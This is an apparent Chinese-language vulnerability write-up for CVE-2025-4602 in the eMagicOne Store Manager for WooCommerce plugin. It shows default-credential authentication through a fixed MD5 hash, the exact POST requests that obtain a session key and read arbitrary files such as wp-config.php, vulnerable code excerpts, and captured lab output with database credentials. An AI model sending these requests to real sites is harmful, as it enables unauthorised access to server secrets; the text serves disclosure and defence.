eMagicOne Store Manager for WooCommerce 插件暴露了一个远程管理协议端点（?connector=bridge），允许在服务器上执行文件删除操作。其认证机制依赖于一组默认凭据（login=1，password=1）和会话密钥系统。如果默认凭据未被更改，攻击者可以轻易地进行认证，获取会话密钥，并从 WordPress 根目录或任何可访问的目录读取任意文件。
提供了一个 POC CVE-2025-4602.py 来演示从服务器读取 wp-config.php 文件。

[*] File Content: <?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.

* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );
/** Database username */
define( 'DB_USER', 'homestead' );
/** Database password */
define( 'DB_PASSWORD', 'secret' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

在插件激活时，smconnector.php 中设置了以下常量：
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
用于认证的默认哈希值为：
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
结果： 默认哈希值为 md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b。
通过向桥接端点发送 POST 请求（包含哈希值和任务参数，例如 get_version）来获取会话密钥：
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
相关代码：
classes/class-emosmconnectorcommon.php（约第 441-525 行）：
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
会话密钥存储在 wp_smconnector_session_keys 表中：
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
使用有效的会话密钥，攻击者可以通过 get_file 任务读取文件：
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php
相关代码：
classes/class-emosmconnectorcommon.php（约第 2219 行之后）：
2219 /** Get file */
2220 private function get_file() {
2221 if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222 $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223 }
2224
2225 if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226 $this->generate_error( $this->br_errors['filename_param_missing'] );
2227 }
2228
2229 $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230 $filename = (string) $this->shop_cart->get_request_param( 'filename' );
2231
2232 if ( empty( $entity_type ) ) {
2233 $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234 }
2235
2236 if ( empty( $filename ) ) {
2237 $this->generate_error( $this->br_errors['filename_param_empty'] );
2238 }
2239
2240 $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241
2242 if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243 header( 'Content-Type: image/jpeg' );
2244 header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245 readfile( $file_path );
2246 } else {
2247 $this->generate_error( 'File is missing' );
2248 }
2249 }
class-emosmcwoocommerceoverrider.php（约第 380 行之后）中的文件获取函数：
426 public function get_file( $folder, $filename ) {
427 $folder = trim( $folder, '/' );
428 $filename = ltrim( $filename, '/' );
429 if ( empty( $folder ) ) {
430 return $this->get_shop_root_dir() . $filename;
431 }
432
433 return $this->get_shop_root_dir() . "$folder/$filename";
结果： 文件从服务器返回。
